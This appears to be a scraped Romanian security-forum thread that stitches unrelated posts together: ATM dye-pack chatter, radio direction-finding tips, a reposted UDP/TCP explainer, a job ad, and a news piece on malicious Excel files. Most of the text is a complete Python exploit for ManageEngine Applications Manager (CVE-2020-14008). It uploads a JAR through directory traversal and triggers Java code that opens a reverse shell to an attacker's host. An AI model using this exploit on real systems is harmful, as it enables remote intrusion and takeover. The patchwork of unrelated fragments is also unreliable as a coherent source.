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Brrrul ala se numeste cash dispenser. Este un zgomot hardware. Poate fi gasit la capitolul 20 din cartea grayhat hacking: https://1lib.eu/book/3586769/2d5561 Banii sunt tinuti intr-o componenta seif.

Solutia e mult mai simpla. Ce cauti tu se numeste A.R.D.F. ( Amateur Radio Direction Finding) sau pe scurt Fox Hunting, o ramura a radioamatorismului. De ce ai nevoie. Un emitator si un receptor dotat cu un S metru, adica un indicator de semnal maxim analog sau digital. in cazul tau la iesire cuplezi un modul Arduino ce comanda robotul in cauza. Deasemeni si o antena foarte directiva. Pentru constructie iti recomand doua module RF pe 433 Mhz, le poti achizitiona de la magazinele de unde cumperi si modulul Arduino. La receptor adaugi o antena directiva, eu personal iti recomand sa folosesti un magnetic loop, sunt extrem de directive si usor de construit. Aici gasesti datele: https://www.google.com/search?q=70cm+band+magnetic+loop+antenna&oq=70cm+band+magnetic+loop+antenna&aqs=chrome..69i57.12239j0j7&sourceid=chrome&es_sm=122&ie=UTF-8 Tot ce trebuie sa faci e ca sa scrii un program ce mentine directia de deplasare a robotului pe semnalul maxim receptionat. Daca vrei date mai multe cauta pe un motor de cautare - Ham Radio ARDF Succes

Which should NOT be used if you care about network latency and bandwidth throughput -- the hater

E o cerneala ce se imprastie instant odata ce e deschisa cutia aia cu bancnote. Chipurile se pot spala cu o anume solutie dar problema e ca nu prea se stie care si cum se procura. Care pleaca cu bancomatul dupa el are pontul sigur ca altfel si-ar bate capul degeaba.

UDP vs. TCP: A Quick Comparison Sep 7 2020 Some background you may or may not care about# I took a networking class in college. It wasn’t a great experience, as the professor was at the school really just to pursue research, leaving us peasant students to 5-question long exams, each 25% of our grade and with .05% of the content from 200+ long slide decks. Needless to say, it wasn’t a very useful class. So here I am, some number of years into my cybersecurity career, able to recognize and speak about different network protcols at fluctuating levels depending on the day. It’s time to change that. I want to understand, like really understand what’s going on. This blog post is going to cover some of the most fundamental concepts in the networking world: UDP and TCP, two transport-level protocols. UDP (User Datagram Protocol)# UDP is a connectionless, message-oriented protocol. It functions through the sending and receiving of packets without having to establish a connection between a client and server. As a result, once a message has been sent, there is no further communication with the message receiver. Additionally, the packets are not numbered. This means that packets are not guaranteed to arrive in order, or even to arrive at all. UDP does not wait for acklowedgement of message receipt, it simply yeets the message and moves on. Due to its connectionless nature, UDP is good for real-time information delivery. As messages are told to be transmitted, they are transmitted. Packets may be dropped due to lack of congestion control. Because the sender isn’t waiting for an ack, nor is the receiver going to send an ack, dropped packets will go unnoticed by both the client and server. This is okay in certain real-time examples, such as streaming. A momentary glitch will not deter a viewer. This also means that UDP is able to support broadcasting. Error checking in UDP occurs through a 16-bit checksum. The checksum is used as follows: the sender computes the checksum corresponding to the data being sent and stores it in the header; upon receipt, the receiver computes the checksum using the received data and compares it to the checksum in the header. It’s important to note that the checksum is mandatory in IPv6 but not IPv4. The UDP segment, or the data portion, of an IP packet includes an 8-byte header followed by variable length data. The header is composed as follows: The first 4 bytes of the header store the port numbers of the source and destination. The next 2 bytes of the header store the length of the UDP segment. The last 2 bytes of the header store the checksum. TCP/IP (Transmission Control Protocol)# TCP is a handshake-based, connection-oriented protocol. TCP provides a continuous flow of data through a manner of sending numbered packets which ensure correct receipt order. While this takes more time than UDP, which sends as instructed and receives as is, it makes TCP the more reliable transport protocol of the two. If packets are dropped, they can be recognized as missing and then retransmitted. The reliability provided by TCP makes it a choice protocol in situations requiring packet receipt acknowledgement and/or ensured packet delivery. However, this reliability and congestion control behavior comes at a cost of overhead. TCP is slower than UDP due to the latency created by establishing and maintaining connections. Checksum use is required by TCP, for both IPv4 and IPv6. This ensures error detection despite IP version. A TCP header is between 20 and 60 bytes. Like the UDP header, there are reserved bytes for the source and destination port numbers, there is also a field to store the amount of data to be transmitted during the session, and the checksum is included towards the end. The large quantity of additional header space, compared to UDP, is used to store information required to establish connections, maintain connections, and support the acknowledgements required for the reliability aspects (i.e. syn/ack behavior) of the protocol. TL;DR# UDP is the less reliable protocol, but can be used for real-time data delivery, including broadcasting, due to its constant stream of packet transmission. TCP is a more reliable but slower data transport protocol used for data transmission between two endpoints. It uses acknowledgements to confirm packet receipt. Both protocols support checksums, which should be utilized for error detection. Sursa: https://casey.is/blogging/udpvstcp/

Dar la noi banii oricum sunt de plastic si se pot spala (la propriu) ma gandesc. Doar sa nu fie ceva foarte special care sa nu iasa. E posibil.

"exista si la case mai mari" https://www.ecb.europa.eu/euro/banknotes/ink-stained/html/index.en.html

stii ce zici

Oricum nu au ce sa faca cu banii (daca sunt modele noi), la primul soc se sparg pernutele de ariel, se vor certa intre ei, se leaga singuri cretinii

Hi guys, Blue Wire Software is looking for senior software engineers with experience in Python willing to collaborate remotely with top 🇺🇸 US clients on challenging projects. This is a long-term contract and you'll feel like in a real team with an accent on those ⛱ benefits that matter the most and support towards your growth. If you love designing and optimizing APIs with 🐍 Python in a microservice world, then definitely you should read more about the role here: https://jobs.smartrecruiters.com/BlueWireSoftware/743999718294605-python-software-engineer?fbclid=IwAR1gaWKdmuFB6RbHHjSPh7NTETybHf3aGjAPl7X9NV3yPnAlidCWM9vCt2U

They were still Excel documents. Just not your typical Excel files. Enough to trick some security systems, though. A newly discovered malware gang is using a clever trick to create malicious Excel files that have low detection rates and a higher chance of evading security systems. Discovered by security researchers from NVISO Labs, this malware gang — which they named Epic Manchego — has been active since June, targeting companies all over the world with phishing emails that carry a malicious Excel document. But NVISO said these weren't your standard Excel spreadsheets. The malicious Excel files were bypassing security scanners and had low detection rates. Malicious Excel files were compiled with EPPlus According to NVISO, this was because the documents weren't compiled in the standard Microsoft Office software, but with a .NET library called EPPlus. Developers typically use this library part of their applications to add "Export as Excel" or "Save as spreadsheet" functions. The library can be used to generate files in a wide variety of spreadsheet formats, and even supports Excel 2019. NVISO says the Epic Manchego gang appears to have used EPPlus to generate spreadsheet files in the Office Open XML (OOXML) format. The OOXML spreadsheet files generated by Epic Manchego lacked a section of compiled VBA code, specific to Excel documents compiled in Microsoft's proprietary Office software. Some antivirus products and email scanners specifically look for this portion of VBA code to search for possible signs of malicious Excel docs, which would explain why spreadsheets generated by the Epic Manchego gang had lower detection rates than other malicious Excel files. This blob of compiled VBA code is usually where an attacker's malicious code would be stored. However, this doesn't mean the files were clean. NVISO says that the Epic Manchego simply stored their malicious code in a custom VBA code format, which was also password-protected to prevent security systems and researchers from analyzing its content. Image: NVISO But despite using a different method to generate their malicious Excel documents, the EPPlus-based spreadsheet files still worked like any other Excel document. Active since June The malicious documents (also called maldocs) still contained a malicious macro script. If users who opened the Excel files allowed the script to execute (by clicking the "Enable editing" button), the macros would download and install malware on the victim's systems. The final payloads were classic infostealer trojans like Azorult, AgentTesla, Formbook, Matiex, and njRat, which would dump passwords from the user's browsers, emails, and FTP clients, and sent them to Epic Machengo's servers. While the decision to use EPPlus to generate their malicious Excel files might have had some benefits, in the beginning, it also ended up hurting Epic Manchego in the long run, as it allowed the NVISO team to very easily detect all their past operations by searching for odd-looking Excel documents. In the end, NVISO said it discovered more than 200 malicious Excel files linked to Epic Manchego, with the first one dating back to June 22, this year. Image: NVISO NVISO says this group appears to be experimenting with this technique, and since the first attacks, they have increased both their activity and the sophistication of their attacks, suggesting this might see broader use in the future. Nevertheless, NVISO researchers weren't totally surprised that malware groups are now using EPPlus. Indicators of compromise and a technical breakdown of the malicious EPPlus-rendered Excel files are available in NVISO Labs' Epic Manchego report. Via zdnet.com

#!/usr/bin/python3 # Exploit Title: ManageEngine Applications Manager 14700 - Remote Code Execution (Authenticated) # Google Dork: None # Date: 2020-09-04 # Exploit Author: Hodorsec # Vendor Homepage: https://manageengine.co.uk # Vendor Vulnerability Description: https://manageengine.co.uk/products/applications_manager/security-updates/security-updates-cve-2020-14008.html # Software Link: http://archives.manageengine.com/applications_manager/14720/ # Version: Until version 14720 # Tested on: version 12900 and version 14700 # CVE : CVE-2020-14008 # Summary: # POC for proving ability to execute malicious Java code in uploaded JAR file as an Oracle Weblogic library to connect to Weblogic servers # Exploits the newInstance() and loadClass() methods being used by the "WeblogicReference", when attempting a Credential Test for a new Monitor # When invoking the Credential Test, a call is being made to lookup a possibly existing "weblogic.jar" JAR file, using the "weblogic.jndi.Environment" class and method # Vulnerable code: # Lines 129 - 207 in com/adventnet/appmanager/server/wlogic/statuspoll/WeblogicReference.java # 129 /* */ public static MBeanServer lookupMBeanServer(String hostname, String portString, String username, String password, int version) throws Exception { # 130 /* 130 */ ClassLoader current = Thread.currentThread().getContextClassLoader(); # 131 /* */ try { # 132 /* 132 */ boolean setcredentials = false; # 133 /* 133 */ String url = "t3://" + hostname + ":" + portString; # 134 /* 134 */ JarLoader jarLoader = null; # 135 /* */ # ....<SNIP>.... # 143 /* */ } # 144 /* 144 */ else if (version == 8) # 145 /* */ { # 146 /* 146 */ if (new File("./../working/classes/weblogic/version8/weblogic.jar").exists()) # 147 /* */ { # 148 /* */ # 149 /* 149 */ jarLoader = new JarLoader("." + File.separator + ".." + File.separator + "working" + File.separator + "classes" + File.separator + "weblogic" + File.separator + "version8" + File.separator + "weblogic.jar"); # 150 /* */ # ....<SNIP>.... # 170 /* 170 */ Thread.currentThread().setContextClassLoader(jarLoader); # 171 /* 171 */ Class cls = jarLoader.loadClass("weblogic.jndi.Environment"); # 172 /* 172 */ Object env = cls.newInstance(); # Example call for MAM version 12900: # $ python3 poc_mam_weblogic_upload_and_exec_jar.py https://192.168.252.12:8443 admin admin weblogic.jar # [*] Visiting page to retrieve initial cookies... # [*] Retrieving admin cookie... # [*] Getting base directory of ManageEngine... # [*] Found base directory: C:\Program Files (x86)\ManageEngine\AppManager12 # [*] Creating JAR file... # Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true # Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true # added manifest # adding: weblogic/jndi/Environment.class(in = 1844) (out= 1079)(deflated 41%) # [*] Uploading JAR file... # [*] Attempting to upload JAR directly to targeted Weblogic folder... # [*] Copied successfully via Directory Traversal, jumping directly to call vulnerable function! # [*] Running the Weblogic credentialtest which triggers the code in the JAR... # [*] Check your shell... # Function flow: # 1. Get initial cookie # 2. Get valid session cookie by logging in # 3. Get base directory of installation # 4. Generate a malicious JAR file # 5. Attempt to directly upload JAR, if success, jump to 7 # 6. Create task with random ID to copy JAR file to expected Weblogic location # 7. Execute task # 8. Delete task for cleanup # 9. Run the vulnerable credentialTest, using the malicious JAR import requests import urllib3 import shutil import subprocess import os import sys import random import re from lxml import html # Optionally, use a proxy # proxy = "http://<user>:<pass>@<proxy>:<port>" proxy = "" os.environ['http_proxy'] = proxy os.environ['HTTP_PROXY'] = proxy os.environ['https_proxy'] = proxy os.environ['HTTPS_PROXY'] = proxy # Disable cert warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Set timeout timeout = 10 # Handle CTRL-C def keyboard_interrupt(): """Handles keyboardinterrupt exceptions""" print("\n\n[*] User requested an interrupt, exiting...") exit(0) # Custom headers def http_headers(): headers = { 'User-Agent': 'Mozilla', } return headers def get_initial_cookie(url,headers): print("[*] Visiting page to retrieve initial cookies...") target = url + "/index.do" r = requests.get(target,headers=headers,timeout=timeout,verify=False) return r.cookies def get_valid_cookie(url,headers,initial_cookies,usern,passw): print("[*] Retrieving admin cookie...") appl_cookie = "JSESSIONID_APM_9090" post_data = {'clienttype':'html', 'webstart':'', 'j_username':usern, 'ScreenWidth':'1280', 'ScreenHeight':'709', 'username':usern, 'j_password':passw, 'submit':'Login'} target = url + "/j_security_check" r = requests.post(target,data=post_data,headers=headers,cookies=initial_cookies,timeout=timeout,verify=False) res = r.text if "Server responded in " in res: return r.cookies else: print("[!] No valid response from used session, exiting!\n") exit(-1) def get_base_dir(url,headers,valid_cookie): print("[*] Getting base directory of ManageEngine...") target = url + "/common/serverinfo.do" params = {'service':'AppManager', 'reqForAdminLayout':'true'} r = requests.get(target,params=params,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False) tree = html.fromstring(r.content) pathname = tree.xpath('//table[@class="lrbtborder"]/tr[6]/td[2]/@title') base_dir = pathname[0] print("[*] Found base directory: " + base_dir) return base_dir def create_jar(command,jarname,revhost,revport): print("[*] Creating JAR file...") # Variables classname = "Environment" pkgname = "weblogic.jndi" fullname = pkgname + "." + classname manifest = "MANIFEST.MF" # Directory variables curdir = os.getcwd() metainf_dir = "META-INF" maindir = "weblogic" subdir = maindir + "/jndi" builddir = curdir + "/" + subdir # Check if directory exist, else create directory try: if os.path.isdir(builddir): pass else: os.makedirs(builddir) except OSError: print("[!] Error creating local directory \"" + builddir + "\", check permissions...") exit(-1) # Creating the text file using given parameters javafile = '''package ''' + pkgname + '''; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; import java.util.concurrent.TimeUnit; public class ''' + classname + ''' { // This method is being called by lookupMBeanServer() in com/adventnet/appmanager/server/wlogic/statuspoll/WeblogicReference.java // Uses the jarLoader.loadClass() method to load and initiate a new instance via newInstance() public void setProviderUrl(String string) throws Exception { System.out.println("Hello from setProviderUrl()"); connect(); } // Normal main() entry public static void main(String args[]) throws Exception { System.out.println("Hello from main()"); // Added delay to notice being called from main() TimeUnit.SECONDS.sleep(10); connect(); } // Where the magic happens public static void connect() throws Exception { String host = "''' + revhost + '''"; int port = ''' + str(revport) + '''; String[] cmd = {"''' + command + '''"}; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s=new Socket(host,port); InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream(); while(!s.isClosed()) { while(pi.available()>0) so.write(pi.read()); while(pe.available()>0) so.write(pe.read()); while(si.available()>0) po.write(si.read()); so.flush(); po.flush(); try { p.exitValue(); break; } catch (Exception e){ } }; p.destroy(); s.close(); } }''' # Output file to desired directory os.chdir(builddir) print(javafile,file=open(classname + ".java","w")) # Go to previous directory to create JAR file os.chdir(curdir) # Create the compiled .class file cmdCompile = "javac --release 7 " + subdir + "/*.java" process = subprocess.call(cmdCompile,shell=True) # Creating Manifest file try: if os.path.isdir(metainf_dir): pass else: os.makedirs(metainf_dir) except OSError: print("[!] Error creating local directory \"" + metainf_dir + "\", check permissions...") exit(-1) print("Main-Class: " + fullname,file=open(metainf_dir + "/" + manifest,"w")) # Create JAR file cmdJar = "jar cmvf " + metainf_dir + "/" + manifest + " " + jarname + " " + subdir + "/*.class" process = subprocess.call(cmdJar,shell=True) # Cleanup directories try: shutil.rmtree(metainf_dir) shutil.rmtree(maindir) except: print("[!] Error while cleaning up directories.") return True def upload_jar(url,headers,valid_cookie,jarname,rel_path): print("[*] Uploading JAR file...") target = url + "/Upload.do" path_normal = './' path_trav = rel_path jar = {'theFile':(jarname,open(jarname, 'rb'))} print("[*] Attempting to upload JAR directly to targeted Weblogic folder...") post_data = {'uploadDir':path_trav} r_upload = requests.post(target, data=post_data, headers=headers, files=jar, cookies=valid_cookie, timeout=timeout,verify=False) res = r_upload.text if "successfully uploaded" not in res: print("[!] Failed to upload JAR directly, continue to add and execute job to move JAR...") post_data = {'uploadDir':path_normal} jar = {'theFile':(jarname,open(jarname, 'rb'))} r_upload = requests.post(target, data=post_data, headers=headers, files=jar, cookies=valid_cookie, timeout=timeout,verify=False) return "normal_path" else: print("[*] Copied successfully via Directory Traversal, jumping directly to call vulnerable function!") return "trav_path" def create_task(url,headers,valid_cookie,action_name,rel_path,work_dir): print("[*] Creating a task to move the JAR file to relative path: " + rel_path + "...") valid_resp = "Execute Program succesfully created." target = url + "/adminAction.do" post_data = {'actions':'/adminAction.do?method=showExecProgAction&haid=null', 'method':'createExecProgAction', 'id':'0', 'displayname':action_name, 'serversite':'local', 'choosehost':'-2', 'prompt':'$', 'command':'move weblogic.jar ' + rel_path, 'execProgExecDir':work_dir, 'abortafter':'10', 'cancel':'false'} r = requests.post(target,data=post_data,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False) res = r.text found_id = "" if action_name in res: tree = html.fromstring(r.content) actionurls = tree.xpath('//table[@id="executeProgramActionTable"]/tr[@class="actionsheader"]/td[2]/a/@onclick') actionnames = tree.xpath('//table[@id="executeProgramActionTable"]/tr[@class="actionsheader"]/td[2]/a/text()') i = 0 for name in actionnames: for url in actionurls: if action_name in name: found_id = re.search(".*actionid=(.+?)','", actionurls[i]).group(1) print("[*] Found actionname: " + action_name + " with found actionid " + found_id) break i+=1 return found_id else: print("[!] Actionname not found. Task probably wasn't created, please check. Exiting.") exit(-1) def exec_task(url,headers,valid_cookie,found_id): print("[*] Executing created task with id: " + found_id + " to copy JAR...") valid_resp = "has been successfully executed" target = url + "/common/executeScript.do" params = {'method':'testAction', 'actionID':found_id, 'haid':'null'} r = requests.get(target,params=params,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False) res = r.text if valid_resp in res: print("[*] Task " + found_id + " has been executed successfully") else: print("[!] Task not executed. Check requests, exiting...") exit(-1) return def del_task(url,headers,valid_cookie,found_id): print("[*] Deleting created task as JAR has been copied...") target = url + "/adminAction.do" params = {'method':'deleteProgExecAction'} post_data = {'haid':'null', 'headercheckbox':'on', 'progcheckbox':found_id} r = requests.post(target,params=params,data=post_data,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False) def run_credtest(url,headers,valid_cookie): print("[*] Running the Weblogic credentialtest which triggers the code in the JAR...") target = url + "/testCredential.do" post_data = {'method':'testCredentialForConfMonitors', 'serializedData':'url=/jsp/newConfType.jsp', 'searchOptionValue':'', 'query':'', 'addtoha':'null', 'resourceid':'', 'montype':'WEBLOGIC:7001', 'isAgentEnabled':'NO', 'resourcename':'null', 'isAgentAssociated':'false', 'hideFieldsForIT360':'null', 'childNodesForWDM':'[]', 'csrfParam':'', 'type':'WEBLOGIC:7001', 'displayname':'test', 'host':'localhost', 'netmask':'255.255.255.0', 'resolveDNS':'False', 'port':'7001', 'CredentialDetails':'nocm', 'cmValue':'-1', 'version':'WLS_8_1', 'sslenabled':'False', 'username':'test', 'password':'test', 'pollinterval':'5', 'groupname':''} print("[*] Check your shell...") requests.post(target,data=post_data,headers=headers,cookies=valid_cookie,verify=False) return # Main def main(argv): if len(sys.argv) == 6: url = sys.argv[1] usern = sys.argv[2] passw = sys.argv[3] revhost = sys.argv[4] revport = sys.argv[5] else: print("[*] Usage: " + sys.argv[0] + " <url> <username> <password> <reverse_shell_host> <reverse_shell_port>") print("[*] Example: " + sys.argv[0] + " https://192.168.252.12:8443 admin admin 192.168.252.14 6666\n") exit(0) # Do stuff try: # Set HTTP headers headers = http_headers() # Relative path to copy the malicious JAR file rel_path = "classes/weblogic/version8/" # Generate a random ID to use for the task name and task tracking random_id = str(random.randrange(0000,9999)) # Action_name used for displaying actions in overview action_name = "move_weblogic_jar" + random_id # Working dir to append to base dir base_append = "\\working\\" # Name for JAR file to use jarname = "weblogic.jar" # Command shell to use cmd = "cmd.exe" # Execute functions initial_cookies = get_initial_cookie(url,headers) valid_cookie = get_valid_cookie(url,headers,initial_cookies,usern,passw) work_dir = get_base_dir(url,headers,valid_cookie) + base_append create_jar(cmd,jarname,revhost,revport) status_jar = upload_jar(url,headers,valid_cookie,jarname,rel_path) # Check if JAR can be uploaded via Directory Traversal # If so, no need to add and exec actions; just run the credentialtest directly if status_jar == "trav_path": run_credtest(url,headers,valid_cookie) # Cannot be uploaded via Directory Traversal, add and exec actions to move JAR. Lastly, run the vulnerable credentialtest elif status_jar == "normal_path": found_id = create_task(url,headers,valid_cookie,action_name,rel_path,work_dir) exec_task(url,headers,valid_cookie,found_id) del_task(url,headers,valid_cookie,found_id) run_credtest(url,headers,valid_cookie) except requests.exceptions.Timeout: print("[!] Timeout error\n") exit(-1) except requests.exceptions.TooManyRedirects: print("[!] Too many redirects\n") exit(-1) except requests.exceptions.ConnectionError: print("[!] Not able to connect to URL\n") exit(-1) except requests.exceptions.RequestException as e: print("[!] " + e) exit(-1) except requests.exceptions.HTTPError as e: print("[!] Failed with error code - " + e.code + "\n") exit(-1) except KeyboardInterrupt: keyboard_interrupt() # If we were called as a program, go execute the main function. if __name__ == "__main__": main(sys.argv[1:]) Source

Ehh, daca era sa fie furat nu iti mai dadea baiatul contul de instagram. E bine ca ai anuntat macar, chiar daca cel mai probabil nu e furat. I-ai scris baiatului pe instagram sa l intrebi? In caz ca a fost furat nu cred ca poti fi acuzat de ceva, decat daca ai semnat initial ca fiind bunul tau. Si daca xbox ul a fost furat nu cred ca propietarul a mers sa raporteze la politie. Mai bine intrebi pe un grup de genul Avocatul Online unde sunt oameni in masura sa ti raspunda Edit: Acum am observat "s-a trecut martora ca nu eu am adus bunul si ca nu am fost proptietar". Wait what? Cum au putut sa accepte bunul? Ai semnat ceva cand ai predat xbox ul?

Digitalocean lafel 100% uptime aproximativ 2 ani, tin pe el un wordpress si il folosesc la teste uneori. Bine... pretul difera.

Realizezi ce cere, si ce-i dai? ON: Trebuie sa tii cont ca cu cat antenele tale au o raza mai mare de transmitere, cu atat deviatia puterii semnalului va fi mai mica pe distante scurte De ex daca antena ta are raza de 100m, o sa vezi o diferenta la puterea semnalului cant de distantezi 1-2m, dar daca ai raza de ordinul kilometrilor, f posibil ca diferenta puterii semnalului pe distante mici sa fie insesizabila. As recomanda sa invelesti antena de pe rover in aluminiu, si sa lasi o linie f subtire libera, pe unde sa-ti "intre" semnalul.Folosesti un motoras doar ca sa invarti antena, nu mai pierzi timp si putere ca sa invarti roverul, si e mult mai rapid

Proiectul tau pare sa fie mult mai complex decat crezi tu ca e. In primul rand faci confuzie intre modulatie(fm, am, wifi) si banda radio care sa masoara in MHz/GHz. In al 2-lea rand: Undele radio, in special la frecvente mici(sub-GHz), se comporta foarte bizar. Se reflecta de pereti si patrund prin materiale destul de groase. In plus o antena directionala, care iti poate spune 'de unde' vine semnalul radio e greu de construit. Majoritatea antenelor radio(aka un fir vertical) capteaza semnal din toate directiile. In practica ca sa aflii directia din care vine un semnal radio, cu o precizie rezonabila, se folosesc aparaturi mai complicate. In general(guvenele/armata/unii radioamatori mai bogati) folosesc un array de antene si compara fie faza semnaluluio radio, fie timpul in care semnalul radio ajunge la fiecare antena. Cunoscand viteza luminii, frecventa semnalului si distanta intre antene poti calcula directia din care vine semnalul. In practica aparatura e scumpa, voluminoasa si greu de instalat. https://en.wikipedia.org/wiki/Direction_finding Iti recomand sa incepi cu ceva mai simplu si sa dezvolti de acolo. uite niste proiecte care imi par interesante: https://youtu.be/kQRYIH2HwfY https://www.instructables.com/id/Arduino-Flashlight-Following-Robot/ https://create.arduino.cc/projecthub/lbf20012001/sound-location-finder-92e6b0 https://youtu.be/GkXH8ZeeIKY LE: daca esti interasat de direction finder un talk ft tare: https://youtu.be/ZuNOD3XWp4A?t=4464